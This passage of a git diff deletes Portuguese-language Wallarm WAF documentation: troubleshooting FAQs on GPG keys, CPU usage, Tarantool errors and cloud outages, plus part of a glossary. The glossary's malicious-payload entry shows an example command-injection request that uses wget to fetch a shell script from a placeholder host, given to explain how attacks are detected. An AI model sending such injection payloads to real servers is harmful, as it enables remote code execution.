NGINX](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size). - -## Como corrigir os erros "não foi possível verificar a assinatura para wallarm-node", "yum não possui dados suficientes em cache para continuar", "as assinaturas não puderam ser verificadas"? - -Se as chaves GPG para pacotes RPM ou DEB da Wallarm estiverem expiradas, você pode receber as seguintes mensagens de erro: - -``` -https://repo.wallarm.com/centos/wallarm-node/7/3.6/x86_64/repodata/repomd.xml: -[Errno -1] a assinatura repomd.xml não pôde ser verificada para wallarm-node_3.6 - -Um dos repositórios configurados falhou (Wallarm Node para CentOS 7 - 3.6), -e o yum não possui dados suficientes em cache para continuar. - -W: Erro GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/3.6/ Release: As seguintes assinaturas -não puderam ser verificadas porque a chave pública não está disponível: NO_PUBKEY 1111FQQW999 -E: O repositório 'https://repo.wallarm.com/ubuntu/wallarm-node focal/3.6/ Release' não está assinado. -N: Atualizar a partir de tal repositório não pode ser feito de forma segura e, portanto, é desabilitado por padrão. -N: Consulte a manpage apt-secure(8) para detalhes sobre a criação de repositório e configuração do usuário. -``` - -Para corrigir o problema no **Debian ou Ubuntu**, siga as etapas: - -1. Importe novas chaves GPG para os pacotes Wallarm: - - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - ``` -2. Atualize os pacotes Wallarm: - - ```bash - sudo apt update - ``` - -Para corrigir o problema no **CentOS**, siga as etapas: - -1. Remova o repositório adicionado anteriormente: - - ```bash - sudo yum remove wallarm-node-repo - ``` -2. Limpe o cache: - - ```bash - sudo yum clean all - ``` -3. Adicione um novo repositório usando o comando apropriado para as versões do CentOS e do nó Wallarm: - - === "CentOS 7.x ou Amazon Linux 2.0.2021x e inferior" - ```bash - - # Nó de filtragem e módulo pós-analítico da versão 4.4 - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - - # Nó de filtragem e módulo pós-analítico da versão 4.6 - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - - # Nó de filtragem e módulo pós-analítico da versão 4.8 - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - - # Nó de filtragem e módulo pós-analítico da versão 4.4 - - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - - # Nó de filtragem e módulo pós-analítico da versão 4.6 - - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - - # Nó de filtragem e módulo pós-analítico da versão 4.8 - - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -4. Se necessário, confirme a ação. - -## Por que o nó de filtragem não bloqueia ataques quando opera no modo de bloqueio (`wallarm_mode block`)? - -Usar a diretiva `wallarm_mode` é apenas um dos vários métodos de configuração do modo de filtragem de tráfego. Alguns desses métodos de configuração têm uma prioridade maior do que o valor da diretiva `wallarm_mode`. - -Se você configurou o modo de bloqueio via `wallarm_mode block`, mas o nó de filtragem da Wallarm não bloqueia ataques, certifique-se de que o modo de filtragem não está sendo substituído usando outros métodos de configuração: - -* Usando a [regra **Configurar modo de filtragem**](../user-guides/rules/wallarm-mode-rule.md) -* Na [seção **Geral** do Console Wallarm](../user-guides/settings/general.md) - -[Mais detalhes sobre métodos de configuração do modo de filtragem →](../admin-en/configure-parameters-en.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/cpu.md b/docs/latest-pt-BR/faq/cpu.md deleted file mode 100644 index 550b5bf487..0000000000 --- a/docs/latest-pt-BR/faq/cpu.md +++ /dev/null @@ -1,58 +0,0 @@ -# Solução de problemas de alto uso de CPU - -O uso recomendado de CPU pela Wallarm é de cerca de 10-15%, o que significa que os nós de filtragem serão capazes de lidar com um pico de tráfego 10 vezes maior. Se um nó Wallarm consome mais CPU do que o esperado e você precisa reduzir o uso da CPU, use este guia. - -Para revelar os episódios de processamento de pedidos mais longos e, assim, os principais consumidores de CPU, você pode [ativar o registro estendido](../admin-en/configure-logging.md#configuring-extended-logging-for-the-nginx‑based-filter-node) e monitorar o tempo de processamento. - -Você pode fazer o seguinte para diminuir a carga de CPU da Wallarm: - -* Adicione [`limit_req`](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html) à configuração NGINX ou a partir do nó 4.6 use a própria funcionalidade de [limitação de taxa](../user-guides/rules/rate-limiting.md) da Wallarm. Esta pode ser a melhor maneira de reduzir a carga da CPU em caso de ataques de força bruta e outros. - - ??? info "Exemplo de configuração - usando `limit_req`" - - ```bash - http { - map $request_uri $binary_remote_addr_map { - ~^/get $binary_remote_addr; - ~^/post $binary_remote_addr; - ~^/wp-login.php $binary_remote_addr; - } - limit_req_zone $binary_remote_addr_map zone=urls:10m rate=3r/s; - limit_req_zone $binary_remote_addr$request_uri zone=allurl:10m rate=5r/s; - - limit_req_status 444; - - server { - location { - limit_req zone=urls nodelay; - limit_req zone=allurl burst=30; - } - } - } - ``` - -* Verifique se a quantidade apropriada de memória [foi alocada](../admin-en/configuration-guides/allocate-resources-for-node.md) para NGINX e Tarantool. -* Certifique-se de que a diretiva [`wallarm_acl_access_phase`](../admin-en/configure-parameters-en.md#wallarm_acl_access_phase) está definida como `on`, o que bloqueia imediatamente quaisquer solicitações de IPs na lista de negação em qualquer modo de filtragem, sem a necessidade de buscar sinais de ataque nessas solicitações. Junto com a ativação da diretiva, verifique as [listas de IP](../user-guides/ip-lists/overview.md) da Wallarm para encontrar os IPs que foram adicionados por engano na **lista de permissões** ou os locais que não foram adicionados por engano à **lista de negação**. - - Note que este método de redução do uso de CPU pode levar a ignorar solicitações de motores de busca. Este problema, no entanto, também pode ser resolvido através do uso do módulo `map` na configuração do NGINX. - - ??? info "Exemplo de configuração - módulo `map` resolvendo o problema dos motores de busca" - - ```bash - http { - wallarm_acl_access_phase on; - map $http_user_agent $wallarm_mode{ - default monitoring; - ~*(google|bing|yandex|msnbot) off; - } - server { - server_name mos.ru; - wallarm_mode $wallarm_mode; - } - } - ``` - -* Desative o [libdetection](../about-wallarm/protecting-against-attacks.md#libdetection-overview) (ativado por padrão desde a versão do nó 4.4) via `wallarm_enable_libdetection off`. O uso de libdetection aumenta o consumo da CPU em 5-10%. Entretanto, é necessário considerar que a desativação da libdetection pode levar a um aumento no número de falsos positivos para detecção de ataques SQLi. -* Se durante a análise do ataque detectado, você revelar que o Wallarm erroneamente usa alguns analisadores [nas regras](../user-guides/rules/disable-request-parsers.md) ou [via a configuração do NGINX](../admin-en/configure-parameters-en.md#wallarm_parser_disable) para elementos específicos dos pedidos, desabilite esses analisadores para o que eles não se aplicam. Note, no entanto, que a desativação de analisadores em geral nunca é recomendada. -* [Reduza o tempo de processamento de pedidos](../user-guides/rules/configure-overlimit-res-detection.md). Note que ao fazer isso você pode impedir que solicitações legítimas cheguem ao servidor. -* Analise os possíveis alvos para [DDoS](../admin-en/configuration-guides/protecting-against-ddos.md) e aplique uma das [medidas de proteção](../admin-en/configuration-guides/protecting-against-ddos.md#l7-ddos-protection-with-wallarm) disponíveis. \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/ingress-installation.md b/docs/latest-pt-BR/faq/ingress-installation.md deleted file mode 100644 index 99b1c6070d..0000000000 --- a/docs/latest-pt-BR/faq/ingress-installation.md +++ /dev/null @@ -1,24 +0,0 @@ -# Instalando o controlador Wallarm Ingress baseado em NGINX - -Este guia de solução de problemas lista problemas comuns que você pode enfrentar durante a [instalação do controlador Wallarm Ingress baseado em NGINX](../admin-en/installation-kubernetes-en.md). Se você não encontrou detalhes relevantes aqui, entre em contato com o [Suporte técnico da Wallarm](mailto:support@wallarm.com). - -## Como verificar quais endereços IP dos clientes são detectados/utilizados pelo controlador Ingress? - -* Dê uma olhada no log do contêiner do controlador e encontre registros sobre solicitações atendidas. No formato de log padrão, o primeiro campo relatado é o endereço IP do cliente detectado. `25.229.38.234` é o endereço IP detectado no exemplo abaixo: -``` -[wallarm-ingress-nginx-ingress-controller-775cf75564-6jlt9 nginx-ingress-controller] 25.229.38.234 - - [14/Mar/2020:23:55:11 +0000] "GET /ping HTTP/1.1" 200 893 "-" "curl/7.64.1" 172 0.020 [default-sise-80] [] 172.17.0.5:8080 893 0.020 200 d8402076753798d3b065269c16d4b34f -``` - -* Acesse seu console Wallarm para a [nuvem dos EUA](https://us1.my.wallarm.com) ou para a [nuvem da UE](https://my.wallarm.com) → a seção **Eventos** e expanda os detalhes da solicitação. Um endereço IP é exibido no campo *Origem*. Por exemplo: - - ![Endereço IP do qual a solicitação foi enviada](../images/request-ip-address.png) - - Se a lista de ataques estiver vazia, você pode enviar um [ataque de teste](../admin-en/installation-check-operation-en.md#2-run-a-test-attack) para o aplicativo protegido pelo controlador Wallarm Ingress. - -## Como verificar que o controlador Ingress está recebendo o cabeçalho de solicitação X-FORWARDED-FOR? - -Por favor, vá para o Console Wallarm para a [nuvem dos EUA](https://us1.my.wallarm.com) ou para a [nuvem da UE](https://my.wallarm.com) → a seção **Eventos** e expanda os detalhes da solicitação. Nos detalhes da solicitação exibidos, preste atenção ao cabeçalho `X-FORWARDED-FOR`. Por exemplo: - -![O cabeçalho X-FORWARDED-FOR da solicitação](../images/x-forwarded-for-header.png) - -Se a lista de ataques estiver vazia, você pode enviar um [ataque de teste](../admin-en/installation-check-operation-en.md#2-run-a-test-attack) para o aplicativo protegido pelo controlador Wallarm Ingress. diff --git a/docs/latest-pt-BR/faq/nginx-compatibility.md b/docs/latest-pt-BR/faq/nginx-compatibility.md deleted file mode 100644 index e65f3bf257..0000000000 --- a/docs/latest-pt-BR/faq/nginx-compatibility.md +++ /dev/null @@ -1,29 +0,0 @@ -# Compatibilidade do nó de filtragem Wallarm com versões do NGINX - -Se a versão do NGINX instalada em seu ambiente for diferente da estável, Plus ou daquela instalada a partir do repositório Debian/CentOS, aprenda como instalar o Wallarm a partir deste documento. - -## O nó de filtragem Wallarm é compatível com o NGINX mainline? - -Não, o nó de filtragem Wallarm é incompatível com o NGINX `mainline`. Você pode instalar o nó Wallarm das seguintes maneiras: - -* conectar-se ao NGINX `estável` de código aberto oficial seguindo estas [instruções](../installation/nginx/dynamic-module.md) -* conectar-se ao NGINX instalado a partir de repositórios Debian/CentOS seguindo estas [instruções](../installation/nginx/dynamic-module-from-distr.md) -* conectar-se ao NGINX Plus comercial oficial seguindo estas [instruções](../installation/nginx-plus.md) - -## O nó de filtragem Wallarm é compatível com a compilação personalizada do NGINX? - -Sim, o módulo Wallarm pode ser conectado à compilação personalizada do NGINX após a reconstrução dos pacotes Wallarm. Para reconstruir os pacotes, entre em contato com a [equipe de suporte técnico da Wallarm](mailto:support@wallarm.com) e envie os seguintes dados: - -* Versão do kernel do Linux: `uname -a` -* Distribuição Linux: `cat /etc/*release` -* Versão do NGINX: - - * [Compilação oficial do NGINX](https://nginx.org/en/linux_packages.html): `/usr/sbin/nginx -V` - * Compilação personalizada do NGINX: `/nginx -V` - -* Assinatura de compatibilidade: - - * [Compilação oficial do NGINX](https://nginx.org/en/linux_packages.html): `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * Compilação personalizada do NGINX: `egrep -ao '.,.,.,[01]{33}' /nginx` - -* O usuário (e o grupo do usuário) que está executando os processos de trabalho do NGINX: `grep -w 'user' ` \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/node-issues-on-owasp-dashboards.md b/docs/latest-pt-BR/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index 4cf63b3586..0000000000 --- a/docs/latest-pt-BR/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1,17 +0,0 @@ -# Lidando com problemas do nó Wallarm alertados pelos painéis do OWASP - -Quando os nós do Wallarm não são atualizados ou enfrentam problemas de sincronização com a Cloud, mensagens de erro aparecem nos [painéis OWASP](../user-guides/dashboards/owasp-api-top-ten.md) indicando problemas que podem impactar a segurança da infraestrutura. Este artigo descreve como lidar com esses problemas. - -Nós desatualizados podem carecer de importantes atualizações de segurança, permitindo que o tráfego malicioso contorne as defesas. Problemas de sincronização podem interromper a funcionalidade dos nós, impedindo-os de receber políticas de segurança vitais da Cloud. Esses problemas estão principalmente relacionados à ameaça **OWASP API7 (Má Configuração de Segurança)**, onde uma solução de segurança faltante em qualquer parte da pilha de aplicativos pode tornar o sistema vulnerável. Para prevenir isso, o painel alerta você para problemas de operação do nó, por exemplo: - -![Painel OWASP com problemas no nó](../images/user-guides/dashboard/owasp-dashboard-node-issues.png) - -Para manter um ambiente seguro, é crucial atualizar regularmente os nós do Wallarm e resolver problemas de sincronização. Aqui estão as instruções sobre como lidar com as mensagens de erro: - -1. Se a versão do seu nó Wallarm estiver [no final da vida útil ou se aproximando do fim](../updating-migrating/versioning-policy.md#version-list), recomenda-se atualizar seu nó para a última versão. -1. Se você encontrar problemas com a sincronização da Cloud Wallarm, verifique se as [configurações correspondentes](../admin-en/configure-cloud-node-synchronization-en.md) estão corretas. - -Se você precisar de assistência para resolver problemas de sincronização ou outros problemas ou qualquer outro pedido, poderá procurar ajuda da [equipe de suporte da Wallarm](mailto:support@wallarm.com). Forneça a eles os seguintes [registros](../admin-en/configure-logging.md) para análise: - -* Registros de `/var/log/wallarm/syncnode.log` para verificar se há algum problema com o script `syncnode` -* Registros do diretório `/var/log/syslog` ou `/var/log/messages` (dependendo da opção de implantação) para fornecer detalhes adicionais sobre o problema de sincronização diff --git a/docs/latest-pt-BR/faq/tarantool.md b/docs/latest-pt-BR/faq/tarantool.md deleted file mode 100644 index a0cde3530a..0000000000 --- a/docs/latest-pt-BR/faq/tarantool.md +++ /dev/null @@ -1,45 +0,0 @@ -# Resolução de problemas com Tarantool - -As seções abaixo fornecem informações sobre erros frequentes na operação do Tarantool e sua resolução. - -## Como posso resolver o problema de "limite de leitura antecipada alcançado"? - -No arquivo `/var/log/wallarm/tarantool.log`, você pode obter erros como: - -``` -limite de leitura antecipada alcançado, parando entrada na conexão fd 16, -aka 127.0.0.1:3313, par de 127.0.0.1:53218 -``` - -Este problema não é crítico, mas muitos desses erros podem diminuir o desempenho do serviço. - -Para resolver o problema: - -1. Acesse a pasta `/usr/share/wallarm-tarantool/init.lua` → arquivo `box.cfg`. -1. Defina uma das seguintes opções: - * `readahead = 1*1024*1024` - * `readahead = 8*1024*1024` - -O parâmetro `readahead` define o tamanho do buffer de leitura antecipada associado a uma conexão cliente. Quanto maior o buffer, mais memória uma conexão ativa consome e mais solicitações podem ser lidas do buffer do sistema operacional em uma única chamada de sistema. Veja mais detalhes na [documentação](https://www.tarantool.io/en/doc/latest/reference/configuration/#cfg-networking-readahead) do Tarantool. - -## Como posso resolver o problema de "limite de net_msg_max alcançado"? - -No arquivo `/var/log/wallarm/tarantool.log`, você pode obter erros como: - -``` -2020-02-18 12:22:17.420 [26620] iproto iproto.cc:562 W> parando entrada na conexão fd 21, -também conhecido como 127.0.0.1:3313, par de 127.0.0.1:44306, limite de net_msg_max alcançado -``` - -Para resolver o problema, aumente o valor de `net_msg_max` (valor padrão `768`): - -1. Acesse a pasta `/usr/share/wallarm-tarantool/init.lua` → arquivo `box.cfg`. -1. Aumente o valor de `net_msg_max`, por exemplo: - - ``` - box.cfg { - net_msg_max = 6000 - } - ``` - -Para evitar que o excesso de fibras afete todo o sistema, o parâmetro `net_msg_max` restringe o número de mensagens que as fibras manipulam. Veja detalhes sobre o uso de `net_msg_max` na [documentação](https://www.tarantool.io/en/doc/latest/reference/configuration/#cfg-networking-net-msg-max) do Tarantool. \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/wallarm-cloud-down.md b/docs/latest-pt-BR/faq/wallarm-cloud-down.md deleted file mode 100644 index 49c338dd69..0000000000 --- a/docs/latest-pt-BR/faq/wallarm-cloud-down.md +++ /dev/null @@ -1,86 +0,0 @@ -# Wallarm Cloud está inativo - -Se o Wallarm Cloud estiver inativo, os nós Wallarm continuam a mitigação de ataques com algumas limitações. Para saber mais, use este guia de solução de problemas. - -## Como o nó Wallarm opera se o Wallarm Cloud está inativo? - -O Wallarm Cloud é um serviço extremamente estável e escalável. Além disso, todos os dados da conta da sua empresa são protegidos por [backups](#how-does-wallarm-protect-its-cloud-data-from-loss). - -No entanto, se em raros casos o Wallarm Cloud ficar temporariamente inativo (por exemplo, ao pausar para manutenção), um nó Wallarm continua operando, embora com algumas limitações. - -!!! info "Verificando o status do Wallarm Cloud" - Para verificar o status do Wallarm Cloud, visite [status.wallarm.com](https://status.wallarm.com/). Para se manter informado, inscreva-se para receber atualizações. - -O que continua a funcionar: - -* Processamento de tráfego no [modo] configurado(../admin-en/configure-wallarm-mode.md#available-filtration-modes) usando as regras carregadas no nó durante a última [sincronização](../admin-en/configure-cloud-node-synchronization-en.md) bem-sucedida entre o Cloud e o nó. O nó pode continuar a funcionar, pois as últimas versões dos seguintes elementos são carregadas do Cloud de acordo com a programação e armazenadas no nó localmente: - - * [Conjunto de regras personalizado](../user-guides/rules/rules.md) - * [proton.db](../about-wallarm/protecting-against-attacks.md#library-libproton) - -* As [listas de IP](../user-guides/ip-lists/overview.md) também são carregadas no nó e armazenadas dentro dele. Os endereços carregados continuarão a ser tratados, mas apenas até a data/horário de expiração. - - Essas datas/horas não serão atualizadas até que o Cloud seja restaurado e sincronizado; também não haverá novos endereços removidos até a restauração/sincronização do Cloud. - - Observe que a expiração de alguns endereços IP nas listas leva ao cessar da proteção contra os [ataques de força bruta](../admin-en/configuration-guides/protecting-against-bruteforce.md) relacionados a esses endereços. - -O que para de funcionar: - -* O nó coleta, mas não pode enviar dados sobre ataques detectados e vulnerabilidades para o Cloud. Observe que o módulo [postanalytics](../admin-en/installation-postanalytics-en.md) do seu nó tem um armazenamento na memória (Tarantool) onde os dados coletados são temporariamente armazenados antes de serem enviados para o Cloud. Assim que o Cloud for restaurado, os dados armazenados em buffer serão enviados para ele. - - !!! warning "Limitação de armazenamento na memória do nó" - O tamanho do buffer é [limitado](../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool) e, quando excedido, os dados mais antigos são excluídos. Portanto, o tempo em que o Cloud estava inativo e a quantidade de informações coletadas durante esse tempo podem levar à situação em que você recebe no Console Wallarm apenas alguns dados após a restauração do Cloud. - -* O nó coleta, mas não pode enviar [métricas](../admin-en/configure-statistics-service.md) para o tráfego processado para o Cloud. -* A varredura dos [ativos expostos](../user-guides/scanner.md) e [vulnerabilidades típicas](../user-guides/vulnerabilities.md) será interrompida. -* [Gatilhos](../user-guides/triggers/triggers.md) deixarão de funcionar e, portanto: - * [Listas de IP](../user-guides/ip-lists/overview.md) param de ser atualizadas. - * [Notificações baseadas em gatilhos](../user-guides/triggers/triggers.md) não aparecerão. -* [Descoberta de inventário de API](../api-discovery/overview.md) não funcionará. -* A [verificação de ameaças ativas](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) será interrompida. -* [Ataques de força bruta](../admin-en/configuration-guides/protecting-against-bruteforce.md) não serão detectados. -* As integrações serão interrompidas, incluindo que: - * [Notificações instantâneas e por e-mail](../user-guides/settings/integrations/integrations-intro.md) não aparecerão. - * O relatório será interrompido. -* Sem acesso ao Console Wallarm. -* [Wallarm API](../api/overview.md) não responderá. - -Note que além do estado inativo total descrito acima, às vezes apenas serviços específicos podem estar temporariamente inacessíveis, enquanto os outros continuam funcionando. Se este for o caso, o serviço [status.wallarm.com](https://status.wallarm.com/) fornecerá a você as informações correspondentes. - -## O que acontece após a restauração do Cloud? - -Após a restauração do Cloud: - -* O acesso ao Console Wallarm é restaurado. -* O nó envia informações armazenadas em buffer para o Cloud (considerar as limitações acima). -* Os gatilhos reagem aos novos dados enviando notificações e atualizando IPs. -* Se houver alguma alteração nos IPs, eles são enviados para o nó durante a próxima sincronização. -* Se houver uma construção de [conjunto de regras personalizado inacabado](#is-there-a-case-when-node-did-not-get-settings-saved-in-wallarm-console-before-wallarm-cloud-is-down), ela é reiniciada. -* O Cloud e o nó de filtragem sincronizam na programação de uma maneira usual. - -## Existe um caso em que o nó não recebeu as configurações salvas no Console Wallarm antes do Cloud Wallarm estar inativo? - -Sim, isso é possível. Por exemplo, vamos considerar que o intervalo de [sincronização](../admin-en/configure-cloud-node-synchronization-en.md) é de 3 minutos e: - -1. A última construção do conjunto de regras personalizado foi concluída no Cloud há 21 minutos e foi carregada para o nó há 20 minutos. -2. Durante as próximas 6 sincronizações nada foi retirado do Cloud, pois não havia nada de novo. -3. Então as regras foram alteradas no Cloud e uma nova construção começou - a construção precisou de 4 minutos para terminar, mas em 2 minutos o Cloud foi inativado. -4. Um nó só pega a construção terminada, então dentro de 2 minutos de sincronizações não haverá nada para carregar para o nó. -5. Em mais 1 minuto, o nó vem com a nova solicitação de sincronização, mas o Cloud não responde. -6. O nó continuará a filtrar de acordo com o conjunto de regras personalizado com uma idade de 24 minutos e essa idade aumentará enquanto o Cloud estiver inativo. - -## Como o Wallarm protege seus dados do Cloud contra perda? - -O Wallarm Cloud salva **todos os dados** fornecidos por um usuário no Console Wallarm e carregados para ele a partir dos nós. Como mencionado acima, o Wallarm Cloud ficar temporariamente inativo é um caso extremamente raro. Mas se isso acontecer, a chance é significativamente baixa de que o estado inativo afete os dados salvos. Isso significa que, após a restauração, você continuará trabalhando imediatamente com todos os seus dados. - -Para lidar com a baixa chance de que os discos rígidos que armazenam dados atuais do Wallarm Cloud são destruídos, o Wallarm cria backups automaticamente e restaura a partir deles, se necessário: - -* RPO: o backup é criado a cada 24 horas -* RTO: o sistema estará disponível novamente em no máximo 48 horas -* Os 14 backups mais recentes são armazenados - -!!! info "Parâmetros de proteção e disponibilidade RPO/RTO" - * **RPO (objetivo do ponto de recuperação)** é usado para determinar a frequência do backup de dados: define a quantidade máxima de tempo pelo qual os dados podem ser perdidos. - * **RTO (objetivo do tempo de recuperação)** é a quantidade de tempo real que uma empresa tem para restaurar seus processos a um nível de serviço aceitável após um desastre para evitar consequências intoleráveis associadas à interrupção. - -Para obter mais informações sobre o plano de recuperação de desastres (DR) da Wallarm e suas peculiaridades para sua empresa, [entre em contato com o suporte da Wallarm](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/wallarm-status-page.md b/docs/latest-pt-BR/faq/wallarm-status-page.md deleted file mode 100644 index 671f723da8..0000000000 --- a/docs/latest-pt-BR/faq/wallarm-status-page.md +++ /dev/null @@ -1,33 +0,0 @@ -# Página de status do serviço Wallarm - -Este guia contém detalhes sobre a página de status do serviço Wallarm. - -## A Wallarm possui uma página que exibe o status de disponibilidade do serviço Wallarm? - -Sim, a página de status da Wallarm está disponível em https://status.wallarm.com. A página exibe dados ao vivo e históricos sobre a disponibilidade dos serviços Wallarm Console e Wallarm API para cada Wallarm Cloud: - -* **Wallarm US Cloud** -* **Wallarm EU Cloud** - -![Página de status da Wallarm](../images/status-page.png) - -## Receberei uma notificação quando o status de um serviço mudar? - -Sim, se você estiver inscrito para atualizações. Para se inscrever, clique em **SUBSCREVER ATUALIZAÇÕES** e selecione o canal de inscrição: - -* **Email** para receber notificações quando a Wallarm cria, atualiza ou resolve um incidente. -* **SMS** para receber notificações quando a Wallarm cria ou resolve um incidente. -* **Slack** para receber atualizações de incidentes e mensagens de status de manutenção. -* **Webhook** para receber notificações quando a Wallarm cria um incidente, atualiza um incidente, resolve um incidente ou altera o status de um serviço. - -## O que significam os status dos serviços? - -* **Desempenho degradado** significa que o serviço está funcionando, mas está lento ou de alguma outra forma impactado de maneira menor. -* **Interrupção parcial** significa que os serviços estão completamente quebrados para um subconjunto de clientes. -* **Grande interrupção** significa que os serviços estão completamente indisponíveis. - -## Quando um incidente é criado? - -Os incidentes são criados quando os serviços estão inativos. Durante um evento relacionado à inatividade, adicionamos uma página descrevendo o problema, o que estamos fazendo a respeito e quando esperamos que o problema seja resolvido. - -Com o passar do tempo, a causa do incidente é identificada, o incidente identificado é então reparado e o status do incidente é atualizado para refletir o status atual. \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/wrong-blocking.md b/docs/latest-pt-BR/faq/wrong-blocking.md deleted file mode 100644 index 3b1cc2f9ba..0000000000 --- a/docs/latest-pt-BR/faq/wrong-blocking.md +++ /dev/null @@ -1,32 +0,0 @@ -# Solicitação legítima está sendo bloqueada - -Se o seu usuário relatar que uma solicitação legítima está sendo bloqueada apesar das medidas do Wallarm, você pode revisar e avaliar suas solicitações conforme explicado neste artigo. - -Para resolver o problema de uma solicitação legítima ser bloqueada pelo Wallarm, siga estas etapas: - -1. Peça ao usuário para fornecer **em formato de texto** (não um print de tela) as informações relacionadas à solicitação bloqueada, que é uma das seguintes: - - * Informações fornecidas pela página de [bloqueio do Wallarm](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) se estiver configurada (pode incluir o endereço IP do usuário, UUID da solicitação e outros elementos pré-configurados). - - ![Página de bloqueio do Wallarm](../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - - !!! aviso "Uso da página de bloqueio" - Se você não usa a página de bloqueio padrão ou personalizada do Wallarm, é altamente recomendável [configurá-la](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) para obter informações adequadas do usuário. Lembre-se de que até mesmo uma página de exemplo coleta e permite a fácil cópia de informações significativas relacionadas à solicitação bloqueada. Além disso, você pode personalizar ou reconstruir completamente esta página para retornar aos usuários a mensagem informativa de bloqueio. - - * Cópia da solicitação e resposta do cliente do usuário. O código fonte da página do navegador ou a entrada e saída textual do cliente do terminal são adequados. - -1. No Console Wallarm → seção [**Eventos**](../user-guides/events/check-attack.md), [pesquise](../user-guides/search-and-filters/use-search.md) pelo evento relacionado à solicitação bloqueada. Por exemplo, [pesquise por ID de solicitação](../user-guides/search-and-filters/use-search.md#search-by-request-identifier): - - ``` - ataques incidentes request_id: - ``` - -1. Examine o evento para determinar se indica um bloqueio errado ou legítimo. -1. Se for um bloqueio errado, resolva o problema aplicando uma ou uma combinação de medidas: - - * Medidas contra [falsos positivos](../user-guides/events/false-attack.md) - * Reconfigurando [regras](../user-guides/rules/rules.md) - * Reconfigurando [gatilhos](../user-guides/triggers/triggers.md) - * Modificando [listas de IP](../user-guides/ip-lists/overview.md) - -1. Se as informações inicialmente fornecidas pelo usuário forem incompletas ou você não tiver certeza sobre as medidas que podem ser aplicadas com segurança, compartilhe os detalhes com o [suporte do Wallarm](mailto:support@wallarm.com) para obter assistência e investigação adicionais. \ No newline at end of file diff --git a/docs/latest-pt-BR/glossary-en.md b/docs/latest-pt-BR/glossary-en.md deleted file mode 100644 index 61674c86b6..0000000000 --- a/docs/latest-pt-BR/glossary-en.md +++ /dev/null @@ -1,105 +0,0 @@ -# Glossário - -O glossário abrange as principais entidades do Wallarm para fornecer uma melhor compreensão da plataforma. - -## Hit - -Um hit é uma solicitação maliciosa serializada (solicitação maliciosa original e metadados adicionados pelo nó de filtragem), por exemplo: - -![Exemplo de hit](images/user-guides/events/analyze-attack-raw.png) - -[Detalhes dos parâmetros de hit](user-guides/events/analyze-attack.md#analyze-requests-in-an-event) - -## Ataque - -Um ataque é um único hit ou vários hits agrupados pelas seguintes características: - -* O mesmo tipo de ataque, o parâmetro com a carga maliciosa e o endereço ao qual os hits foram enviados. Os hits podem vir dos mesmos ou diferentes endereços IP e ter diferentes valores das cargas maliciosas dentro de um tipo de ataque. - - Este método de agrupamento de hits é básico e aplicado a todos os hits. -* O mesmo endereço IP de origem se a [trigger](user-guides/triggers/trigger-examples.md#group-hits-originating-from-the-same-ip-into-one-attack) apropriado estiver ativado. Outros valores de parâmetros de hit podem variar. - - Este método de agrupamento de hits funciona para todos os hits, exceto para os do tipo Brute force, Brute force, Forced browsing, BOLA (IDOR), Limite de recursos, Bomba de dados e tipos de ataque de patch virtual. - - Se os hits são agrupados por este método, o botão [**Marcar como falso-positivo**](user-guides/events/false-attack.md#mark-an-attack-as-a-false-positive) e a opção de [verificação ativa](about-wallarm/detecting-vulnerabilities.md#active-threat-verification) não estão disponíveis para o ataque. - -Os métodos de agrupamento de hits listados não se excluem. Se os hits possuírem características de ambos os métodos, todos serão agrupados em um ataque. - -Um exemplo de um ataque incluindo um único hit: - -![Ataque com um hit](images/glossary/attack-with-one-hit-example.png) - -Um exemplo de um ataque incluindo muitos hits: - -![Ataque com vários hits](images/glossary/attack-with-several-hits-example.png) - -## Carga Maliciosa - -Uma parte de uma solicitação original contendo os seguintes elementos: - -* Sinais de ataque detectados em uma solicitação. Se vários sinais de ataque caracterizando o mesmo tipo de ataque forem detectados em uma solicitação, apenas o primeiro sinal será registrado como uma carga. -* Contexto do sinal de ataque. O contexto é um conjunto de símbolos que antecedem e fecham os sinais de ataque detectados. Como o comprimento de uma carga é limitado, o contexto pode ser omitido se um sinal de ataque for de comprimento total da carga. - -Por exemplo: - -* Solicitação: - - ```bash - curl localhost/?23036d6ba7=%3Bwget+http%3A%2F%2Fsome_host%2Fsh311.sh - ``` -* Carga maliciosa: - - ```bash - ;wget+http://s - ``` - - Nesta carga, `;wget+` é o sinal de ataque [RCE](attacks-vulns-list.md#remote-code-execution-rce) e outra parte da carga é o contexto do sinal de ataque. - -Como os sinais de ataque não são usados para detectar [ataques comportamentais](about-wallarm/protecting-against-attacks.md#behavioral-attacks), solicitações enviadas como parte de ataques comportamentais têm cargas vazias. - -## Vulnerabilidade -Uma vulnerabilidade é um erro cometido por negligência ou informações inadequadas ao construir ou implementar uma aplicação web que pode levar a um risco de segurança da informação. - -Os riscos 